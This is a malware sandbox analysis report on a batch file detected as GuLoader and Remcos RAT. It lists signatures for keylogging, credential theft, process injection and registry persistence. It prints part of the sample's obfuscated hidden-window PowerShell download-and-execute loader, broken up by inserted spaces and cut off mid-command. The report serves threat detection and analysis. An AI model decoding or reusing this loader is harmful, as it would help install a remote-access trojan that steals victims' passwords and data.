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Windows
Analysis Report
Lista produkt#U00f3w POL56583753Sarchmentdoc.bat
Overview
General Information
| Sample name: | Lista produkt#U00f3w POL56583753Sarchmentdoc.batrenamed because original name is a hash value |
| Original sample name: | Lista produktw POL56583753Sarchmentdoc.bat |
| Analysis ID: | 1543699 |
| MD5: | 5f579a63bffce450528b213955a14615 |
| SHA1: | c8943b3b8055327a7b85249c9f2448b6df1967eb |
| SHA256: | 83d574c4b6620c67416e9b444fe90ea882eb86ec747641bf5113df82280525b5 |
| Tags: | batuser-AdamekZbadam |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Early bird code injection technique detected
Malicious sample detected (through community Yara rule)
Sigma detected: Remcos
Suricata IDS alerts for network traffic
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Hides threads from debuggers
Installs a global keyboard hook
Maps a DLL or memory area into another process
Queues an APC in another process (thread injection)
Suspicious powershell command line found
Tries to harvest and steal browser information (history, passwords, etc)
Tries to steal Mail credentials (via file registry)
Uses dynamic DNS services
Writes to foreign memory regions
Yara detected WebBrowserPassView password recovery tool
Abnormal high CPU Usage
Checks if the current process is being debugged
Contains functionality for read data from the clipboard
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to call native functions
Contains functionality to check the parent process ID (often done to detect debuggers and analysis systems)
Contains functionality to dynamically determine API calls
Contains functionality to modify clipboard data
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected TCP or UDP traffic on non-standard ports
Detected potential crypto function
Enables debug privileges
Extensive use of GetProcAddress (often used to hide API calls)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Found large amount of non-executed APIs
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
JA3 SSL client fingerprint seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Queries the volume information (name, serial number etc) of a device
Sample execution stops while process was sleeping (likely an evasion)
Sigma detected: CurrentVersion Autorun Keys Modification
Sigma detected: Direct Autorun Keys Modification
Sigma detected: Msiexec Initiated Connection
Sigma detected: Potential Persistence Attempt Via Run Keys Using Reg.EXE
Sleep loop found (likely to delay execution)
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Uses reg.exe to modify the Windows registry
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Very long command line found
Yara signature match
Classification
- System is w10x64
cmd.exe (PID: 3248 cmdline: C:\Windows \system32\ cmd.exe /c ""C:\User s\user\Des ktop\Lista produkt#U 00f3w POL5 6583753Sar chmentdoc. bat" " MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE) - conhost.exe (PID: 6456 cmdline:
C:\Windows \system32\ conhost.ex e 0xffffff ff -ForceV 1 MD5: 0D698AF330FD17BEE3BF90011D49251D) 
powershell.exe (PID: 2448 cmdline: powershell .exe -wind owstyle hi dden " <#P aremernes duplicatur e Udvejer Dataservic ens Treasu ry Ostlere ss Uninter dicted #>; $Cryoscopy ='Grusgrav ';<#Dubbe Bantustamm e Nyvurder ende Tripu diate Miti gated #>; function D ark($Misli gholdelser s){If ($ho st.Debugge rEnabled) {$Differen tieringens ++;}$Sadom asochism=$ Cariss+$Mi sligholdel sers.'Leng th'-$Diffe rentiering ens; for( $Unacute27 =4;$Unacut e27 -lt $S adomasochi sm;$Unacut e27+=5){$U naccommoda ble=$Unacu te27;$Enfo rth+=$Misl igholdelse rs[$Unacut e27];$Cuti reaction=' Blomstring stiderne'; }$Enforth; }function Nondeclara tively($Bu dcyklen){ . ($Dolom itternes) ($Budcykle n);}$Skrll ede=Dark ' StaiMC clo eftzF sti RagelRi el Styra ogn/ Thra ';$St upiditeten s=Dark 'Kr ypTSvenl P resU ne1 n de2unav '; $Unpliantn ess=' lus[ MashNFldee My T Fal. AnthsD coe histrru dV S stIEngrC BefaeTilgP TortO Bogi SangNOpspT Ma.iMNonfA awnNSkruA SamlgLibeE ZygoR lit] Vaga:Sovj: AlecSMyogE CuphcP esU GennRDisci C aTSkjuy BasP iggR V.rgo Ga t GonioCam.c .eclOTrevl Svrm= Ven$ Net sEndeT concu.seup tomaiRoveD GoveIFagkT UnmE TraT GastEFravn R.ms Unp ';$Skrlled e+=Dark 'R egi5Majo.M au.0 Opd S imo(Tip WT er iF lgnC hrodBusho Priw .orsU nsh j,nsN MolTBuff F ora1Side0F od ..ast0N i n;Vilj A nfgW Kreie ftenMaka6S vir4Unpr;S tr, ParxLi ne6 Uns4.n de;beru be edrAfkavGo at:Gene1 U n 3Sang1 u p.Miss0fo m) Mor Aan dGDiskeRee cturbkMor po dta/Niv e2 Res0Dro p1slad0Sku f0Arch1K,n d0.dst1 Ri tetFAero i ConrStof e ,lifEnte o ,dkxTreu /A,te1V ra 3Cod 1 Hdr .Fo r0Etym ';$Signat armagters= Dark ' reu FyrsBivoe PosRIle - alASneaG WayeIsodN J mTGe e ' ;$beskftig elsesinter essen=Dark 'Hre hS p etTraft nk p Ka,sLoai :Inex/ Co /DowneConi vYn leUnde sIntaeVerd c TmrrCaro eOlivtPrin .M,timGou aCyl /Loka M,adeigara sRecefAuto o ylbrForl sL.rat,orp a Pina Po e.egil Slf s WifeKben r RetnReck eRejs. Aut p,heesGrou m,itr ';$U nacute27mp astoed=Dar k 'Volu> N yt ';$Dolo mitternes= Dark 'arch iConsEForb X Skr ';$n yhedsburea uernes='Fo rfatningsd omstol';$C ynography= '\Satisfia ble.Ins';N ondeclarat ively (Dar k 'Hort$Am phgSyrilLa gOBo abVa a ASh nL U nd:VellsFd sekTestiMa ssLBys.s W e,mSterISt ilsstokSHa n eSt erGu ld1reva8 R ov=Rumi$ F leeGiarNUn suvCons: e feAT rbPMi crPH lkDSp riAAntiTFo rsAColi+Un fo$Ges.CFo .lYKam NSt a OOp,jgFa llR BriA . enpTrasHBa rkyHyae ') ;Nondeclar atively (D ark ' ,ns$ LavtgMonsL VinoCharB c aaCatcL D,n:sc,pK Sambl regA L ngR ympL SpriAPsy G Immotba.ke HortSGdni= par$Savsb MicreDiscS BrackMel F Pyr TTilbI ,oncGBe oe TimlEnchs BuckEBrneS ExosIGaseN ,aklTBlgee Ranr R,se ChroSUnpes Rek,e Eu N Dise. DayS FolkpRedel In biPuckT Med (Rage$ PicaUMetaN ClamAUdstC PastuA teT